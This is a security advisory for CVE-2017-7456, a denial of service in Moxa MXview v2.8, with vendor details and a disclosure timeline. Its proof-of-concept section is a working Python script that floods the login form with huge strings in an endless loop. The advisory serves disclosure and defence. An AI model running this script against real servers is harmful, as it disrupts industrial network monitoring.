CVE-2017-7456 Moxa MXview v2.8 Denial Of Service

[apparitionsec () gmail com (hyp3rlinx)]

[+] Credits: John Page AKA hyp3rlinx    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec            
 


Vendor:
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www.moxa.com



Product:
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MXView v2.8

Download:
http://www.moxa.com/product/MXstudio.htm

MXview Industrial Network Management Software.

Auto discovery of network devices and physical connections
Event playback for quick troubleshooting
Color-coded VLAN/IGMP groups and other visualized network data
Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.



Vulnerability Type:
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Denial Of Service



CVE Reference:
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CVE-2017-7456



Security Issue:
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Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field 
login credentials.



Exploit/POC:
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import urllib,urllib2

print 'Moxa MXview v2.8 web interface DOS'
print 'hyp3rlinx'

IP=raw_input("[Moxa MXView IP]>")

PAYLOAD="A"*200000000

url = 'http://'+IP+'/goform/account'
data = urllib.urlencode({'uid' :  PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})

while 1:
    req = urllib2.Request(url, data)
    res = urllib2.urlopen(req)
    print res



Network Access:
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Remote



Severity:
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Medium



Disclosure Timeline:
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Vendor Notification:  March 5, 2017
Vendor confirms vulnerability : March 21, 2017
Vendor "updated firmware April 7, 2017" : March 29, 2017
April 9, 2017 : Public Disclosure



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